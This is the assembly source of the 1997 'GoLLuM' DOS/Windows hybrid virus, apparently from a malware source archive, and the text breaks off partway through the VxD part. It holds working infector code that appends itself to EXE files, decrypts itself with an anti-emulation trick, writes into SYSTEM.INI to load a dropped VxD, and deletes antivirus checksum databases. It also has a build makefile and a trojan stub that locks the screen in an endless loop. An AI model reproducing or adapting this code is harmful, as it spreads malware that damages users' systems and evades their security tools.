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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.gollum.asm

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;
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20> GoLLuM ViRuS - BioCoded by GriYo/29A <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>
; <20> CopyRight (c) 1997 All RiGhts ReseRVed <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20> World's first DOS/Win hybrid ever <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD> <20><><EFBFBD>
;
; GoLLuM is the very first hybrid DOS-Windows virus ever... it infects DOS
; EXE files only when they're executed inside a DOS window under any of
; the known versions of Microsoft Windows (Windows 3.1x, Windows95...). It
; becomes resident as a virtual device driver when Windows starts, and
; then hooks V86 int 21h in order to monitor file execution, trying to in-
; fect more files under DOS sessions.
;
; When an EXE file is executed inside a MS-DOS window, GoLLuM will attach
; itself to the end of the file (it copies first its DOS code and then the
; VxD file, both of them encrypted with a simple 'not' operation). GoLLuM
; will not infect files that have digits or the 'V' character in their na-
; mes (this includes AVP, MSAV, CPAV...), as well as Thunderbyte utilities
; (TB*.*), McAffee shit and F-Prot.
;
; The virus also deletes some AV database files (ANTI-VIR.DAT, CHKLIST.MS,
; AVP.CRC, IVB.NTZ and CHKLIST.TAV) whenever it infects a file. When these
; infected files are run, GoLLuM inserts the string 'DEVICE=GOLLUM.386'
; into the [386Enh] section of the SYSTEM.INI file, and then drops its VxD
; file into the Windows \SYSTEM directory.
;
; The encryption used by GoLLuM consists on a simple 'not' operation, but
; the decryptor contains a little emulation trick (try to TbClean it!).
; Besides, it contains a date-triggered event, in which it will drop tro-
; jan files (using the DOS stub in its VxD file).
;
; I wrote this just for fun while learning something on VxD coding. GoLLuM
; consists on the following files:
;
; GOLLUM.ASM DOS virus code
; CRYPT.ASM Code used to encrypt DOS virus code
; WGOLLUM.MAK VxD makefile
; WGOLLUM.DEF VxD def file
; VXDSTUB.ASM VxD stub used in trojans
; WGOLLUM.ASM VxD virus code
; ASSEMBLE.BAT Batch file used to build GOLLUM.INC
;
; - -[GOLLUM.ASM - DOS virus code]- - - - - - - - - - - - - - - - - - - ->8
I_am_GoLLuM segment para 'CODE'
Header_Size equ 1Ch
VxD_File_Size equ 6592
Decryptor_Size equ offset Bilbo_Dead
All_Size equ offset Old_Header+(Header_Size+VxD_File_Size)
Assume cs:I_am_GoLLuM,ds:I_am_GoLLuM,es:I_am_GoLLuM,ss:I_am_GoLLuM
;Virus entry point (code inserted intro infected .EXE files)
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
GoLLuM_Entry_Point:
;Get delta offset stored on infection
mov bp,0000h
;Save segment regs
push ds
push es
;Point segment regs to our code
mov ax,cs
mov ds,ax
mov es,ax
;Decrypt virus and VxD file
mov si,offset Bilbo_Dead
add si,bp
mov di,si
mov cx,(All_Size-Decryptor_Size+01h)/02h
Decrypt_Gollum:
;Dont let GoLLum be emulated (Meeethyyyl! ;)
cld
lodsw
push ax
pop ax
cli
sub sp,0002h
pop ax
sti
not ax
cld
stosw
loop Decrypt_Gollum
;Clear prefetch
db 0EBh,00h
;Drop GOLLUM.386 file and insert DEVICE=GOLLUM.386 into SYSTEM.INI
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Bilbo_Dead:
;Find SYSTEM.INI file
mov si,offset Win_Sys_Table
add si,bp
mov cx,0005h
cld
Search_Loop:
lodsw
mov dx,ax
add dx,bp
;Open file (read/write access)
mov ax,3D02h
int 21h
jnc Open_Ok
;Try next file name
loop Search_Loop
jmp Gollum_Leave
Open_Ok:
;Save SYSTEM.INI file handle
mov word ptr cs:[System_Handle][bp],ax
;Build VxD file name
mov si,dx
mov di,offset VxD_File
add di,bp
mov dx,di
Copy_Directory:
lodsb
cmp al,"."
je Found_Extension
stosb
jmp Copy_Directory
Found_Extension:
;Insert the path separator
mov al,"\"
stosb
;Insert the name of the VxD file
mov si,offset Device_String+09h
add si,bp
mov cx,000Ah
rep movsb
;Put the null marker
xor al,al
stosb
;Create de VxD file, abort if exist
mov ah,5Bh
xor cx,cx
mov dx,offset VxD_File
add dx,bp
int 21h
jc Close_Sys
;Write VxD to file
xchg bx,ax
mov ah,40h
mov dx,offset Old_Header+Header_Size
add dx,bp
mov cx,VxD_File_Size
int 21h
jnc ok_VxD_Write
;Close VxD file if error...
mov ah,3Eh
int 21h
;...and delete it!
mov ah,41h
mov dx,offset VxD_File
add dx,bp
int 21h
Close_Sys:
mov bx,word ptr cs:[System_Handle][bp]
jmp Exit_Infection
ok_VxD_Write:
;Get handle of SYSTEM.INI file
mov bx,word ptr cs:[System_Handle][bp]
;Seek to EOF
mov ax,4202h
xor cx,cx
xor dx,dx
int 21h
jc Bad_Size
;Strange! SYSTEM.INI file too big
or dx,dx
jnz Bad_Size
cmp ax,VxD_File_Size
jb Size_Ok
Bad_Size:
jmp Exit_Infection
Size_Ok:
;Save SYSTEM.INI file size
mov word ptr cs:[System_Size][bp],ax
;Seek to BOF
mov ax,4200h
xor cx,cx
xor dx,dx
int 21h
jc Bad_Size
;Read SYSTEM.INI over VxD file copy
mov ah,3Fh
mov cx,word ptr cs:[System_Size][bp]
mov dx,offset Old_Header+Header_Size
add dx,bp
int 21h
jc bad_size
;Check if SYSTEM.INI have been infected
mov cx,word ptr cs:[System_Size][bp]
mov di,dx
mov al,"G"
Do_Inspect:
cld
repne scasb
or cx,cx
jz System_Clean
;Exit if already resident
cmp word ptr es:[di],"LO"
jne Do_Inspect
cmp word ptr es:[di+02h],"UL"
jne Do_Inspect
jmp Exit_Infection
System_Clean:
;Search for [386Enh] string
mov cx,word ptr cs:[System_Size][bp]
mov di,dx
Section_Search:
cld
mov si,di
lodsw
cmp ax,"3["
jne Next_Char
lodsw
cmp ax,"68"
je Section_Found
Next_Char:
inc di
loop Section_Search
;Section not found, abort
jmp Exit_Infection
Section_Found:
;Save distance from [386Enh] string to EOF
mov ax,0008h
sub cx,ax
add di,ax
sub word ptr cs:[System_Size][bp],cx
;Seek next to [386Enh] string
mov ax,4202h
mov dx,cx
neg dx
xor cx,cx
dec cx
int 21h
jc Exit_Infection
;Write our load string
mov ah,40h
mov cx,0015h
mov dx,offset Device_String
add dx,bp
int 21h
jc Exit_Infection
;Write the rest of SYSTEM.INI file
mov ah,40h
mov cx,word ptr cs:[System_Size][bp]
mov dx,di
int 21h
Exit_Infection:
;Close file (bx=handle)
mov ah,3Eh
int 21h
;Get control back to host
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Gollum_Leave:
;Restore segment registers
pop es
pop ds
;File SYSTEM.INI not found, return to host
mov ah,62h
int 21h
add bx,10h
add word ptr cs:[exe_cs][bp],bx
;Restore stack
cli
add bx,word ptr cs:[Old_Header+0Eh][bp]
mov ss,bx
mov sp,word ptr cs:[Old_Header+10h][bp]
sti
;Clear some regs
xor ax,ax
xor bx,bx
xor cx,cx
xor dx,dx
xor si,si
xor di,di
xor bp,bp
;Clear prefetch
db 0EBh,00h
;Jump to original entry point
db 0EAh
exe_ip dw 0000h
exe_cs dw 0000h
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;String table
Win_Sys_Table dw offset Win_Sys_01h
dw offset Win_Sys_02h
dw offset Win_Sys_03h
dw offset Win_Sys_04h
dw offset Win_Sys_05h
;Posible locations of SYSTEM.INI file
Win_Sys_01h db "C:\WINDOWS\SYSTEM.INI",00h
Win_Sys_02h db "C:\WIN\SYSTEM.INI",00h
Win_Sys_03h db "C:\WIN31\SYSTEM.INI",00h
Win_Sys_04h db "C:\WIN311\SYSTEM.INI",00h
Win_Sys_05h db "C:\WIN95\SYSTEM.INI",00h
;Buffer where virus build VxD file name and path
VxD_File db 20h dup (00h)
;String inserted into SYSTEM.INI
Device_String db 0Dh,0Ah,"DEVICE=GOLLUM.386",0Dh,0Ah
;Misc data
System_Size dw 0000h
System_Handle dw 0000h
;Next bytes = Old .EXE header + VxD file copy
Old_Header equ this byte
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
I_am_GoLLuM ends
end GoLLuM_Entry_Point
; - -[CRYPT.ASM - Code used to encrypt DOS virus code]- - - - - - - - - ->8
vir_test segment para 'CODE'
Assume cs:vir_test,ds:vir_test,es:vir_test,ss:vir_test
org 0000h
Start:
mov ax,cs
mov ds,ax
mov es,ax
mov ax,3D00h
mov dx,offset f_name
int 21h
jc exit_prog
xchg bx,ax
mov ah,3Fh
mov cx,0FFFFh
mov dx,offset copy
int 21h
jc close_file
push ax
mov ah,3Eh
int 21h
jc close_file
mov si,offset copy+0027h
mov di,si
mov cx,9000
cld
encrypt:
lodsb
not al
stosb
loop encrypt
mov ah,3Ch
xor cx,cx
mov dx,offset x_name
int 21h
jc exit_prog
xchg bx,ax
mov ah,40h
mov dx,offset copy
pop cx
int 21h
close_file:
mov ah,3Eh
int 21h
exit_prog:
mov ax,4C00h
int 21h
f_name db "GOLLUM.BIN",00h
x_name db "GOLLUM.CRP",00h
copy db 10000 dup (00h)
vir_test ends
end Start
; - -[WGOLLUM.MAK - VxD makefile] - - - - - - - - - - - - - - - - - - - ->8
# file: wgollum.mak (VxD makefile)
all : wgollum.exe
vxdstub.obj: vxdstub.asm
masm -Mx -p -w2 vxdstub;
vxdstub.exe: vxdstub.obj
link vxdstub.obj;
wgollum.obj: wgollum.asm .\debug.inc .\vmm.inc .\shell.inc
masm5 -p -w2 -Mx $(Debug) wgollum.asm;
objs = wgollum.obj
wgollum.386: vxdstub.exe wgollum.def $(objs)
link386 @wgollum.lnk
addhdr wgollum.386
mapsym32 wgollum
wgollum.exe: wgollum.386
copy wgollum.386 wgollum.exe
; - -[WGOLLUM.DEF - VxD def file] - - - - - - - - - - - - - - - - - - - ->8
library wgollum
description 'GoLLuM ViRuS for Microsoft Windows<77> by GriYo/29A'
stub 'vxdstub.exe'
exetype dev386
segments
_ltext preload nondiscardable
_ldata preload nondiscardable
_itext class 'icode' discardable
_idata class 'icode' discardable
_text class 'pcode' nondiscardable
_data class 'pcode' nondiscardable
; - -[VXDSTUB.ASM - VxD stub used in trojans] - - - - - - - - - - - - - ->8
name vxdstub
_TEXT segment word public 'CODE'
assume cs:_TEXT,ds:_TEXT,es:_TEXT
;Activation routine
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
vxdstub proc far
;Segment regs!
mov ax,cs
mov ds,ax
mov es,ax
;Set video mode 80x25x16c
mov ax,0003h
int 10h
;Print "Gollum!"
mov ax,1301h
mov bx,0002h
mov cx,0007h
mov dx,0A24h
mov bp,offset Gollum_Says
int 10h
;Endless loop
Dead_Zone:
;Aaaarrrgggghhhhh!!!!
jmp Dead_Zone
;Text printed on screen
Gollum_Says db "GoLLum!"
vxdstub endp
_TEXT ends
end vxdstub
; - -[WGOLLUM.ASM - VxD virus code] - - - - - - - - - - - - - - - - - - ->8
.386p
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
;<3B>Includes <20>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
.XLIST
INCLUDE Vmm.Inc
INCLUDE SheLL.Inc
.LIST
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
;<3B>Virtual device declaration <20>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Declare_Virtual_Device WGoLLuM,03h,00h,WGoLLuM_Control,Undefined_Device_ID,,,
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
;<3B>Initialization data segment <20>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
VxD_IDATA_SEG
VxD_Installation_Title db "GoLLuM ViRuS by GriYo/29A",00h
VxD_Installation_Msg db "Deep down here by the dark water lived old "
db "Gollum, a small slimy creature. I dont know "
db "where he came from, nor who or what he was. "
db "He was a Gollum -as dark as darkness, except "
db "for two big round pale eyes in his thin face."
db 0Dh,0Ah,0Dh,0Ah
db "J.R.R. ToLkieN ... The HoBBit"
db 0Dh,0Ah,0Dh,0Ah
db 00h
VxD_IDATA_ENDS
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
;<3B>Local locked data segment <20>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
VxD_LOCKED_DATA_SEG
Header_Size equ 001Ch ;Dos .EXE header size
VxD_Size equ 6592 ;VxD file size
ALIGN DWORD
DOS_Virus_Code equ this byte ;Start of Dos virus code
include gollum.inc ;Load Dos virus code
Header_Copy db Header_Size dup (00h) ;Buffer for old .EXE header
DOS_Virus_End equ this byte
DOS_Virus_Size equ (DOS_Virus_End-DOS_Virus_Code)
Our_Own_Call_Flag db "EERF" ;Dos call from virus?
File_Size dd 00000000h ;Size of file to infect
Start_FileName dd 00000000h ;Filename start
VxD_Buffer db 0200h dup (00h) ;VxD file copy
Infect_FileName db 80h dup (00h) ;Last executed file
File_Header db Header_Size dup (00h) ;Infected .EXE header
VxD_File_Name db 80h dup (00h) ;Path of virus VxD
Gollum_Name db "GOLLUM.386",00h ;Name of virus VxD file
Trojan_File_Name db "GOLLUM.EXE",00h ;Generated trojans
CheckSum_File_00: db "ANTI-VIR.DAT",00h ;Names of av databases
CheckSum_File_01: db "CHKLIST.TAV",00h
CheckSum_File_02: db "CHKLIST.MS",00h
CheckSum_File_03: db "AVP.CRC",00h
CheckSum_File_04: db "IVB.NTZ",00h
Gollum_Handle dw 0000h ;VxD file handle
Victim_Handle dw 0000h ;Victim file handle
File_Attr dw 0000h ;Victim file attr
File_Time dw 0000h ;Victim file time
File_Date dw 0000h ;Victim file date
VxD_LOCKED_DATA_ENDS
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
;<3B>Initialization code segment <20>
